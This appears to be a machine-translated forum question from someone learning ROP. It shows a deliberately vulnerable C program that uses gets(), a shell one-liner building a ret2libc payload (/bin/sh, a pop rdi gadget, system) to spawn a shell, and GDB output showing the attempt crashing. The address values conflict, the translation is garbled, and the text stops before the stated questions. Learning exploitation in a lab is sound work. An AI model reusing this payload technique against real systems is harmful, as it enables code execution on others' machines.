在学习ROP时,我正在利用缓冲区溢出。我计算了libc的地址以及系统和小工具的偏移量,但是无法访问该地址。
本教程的代码为:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
char name[64];
printf("%p (pid: %d)\n", name, getpid()); // Print address of buffer.
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
使用-fno-stack-protector
编译并禁用了ASLR。
有效载荷是按以下顺序制成的:
"/bin/sh"
\x00
pop rdi; ret
system
的地址要计算系统地址,我取基地址(cat
和/proc/pid/maps
)+基地址(nm -D libc.so.6 | grep system
:0x7fff79e400 + 0x4f440
。
对于小工具:pop rdi; ret
中的libc.so.6
位于0x7fff79e400 + 0x2155f
。
漏洞利用是:
(
echo -n /bin/sh | xxd -p;
printf %0130d 0;
printf %016x $((0x7ffff79e4000+0x2155f)) | tac -r -s..;
printf %016x 0x7fffffffdee0 | tac -r -s..;
printf %016x $((0x7ffff79e4000+0x4f440)) | tac -r -s..
) | xxd -r -p | ./prog
在GDB(稍微调整基址)中,它似乎应该起作用:
事实上:
gef➤ i frame
Stack level 0, frame at 0x7fffffffdf70:
rip = 0x555555554715 in main (victim.c:9); saved rip = 0x7fff7bf95f
是小工具的地址。但是:
gef➤ p *0x7fff7bf95f
Cannot access memory at address 0x7fff7bf95f
在ret
上它被杀死。
两个问题: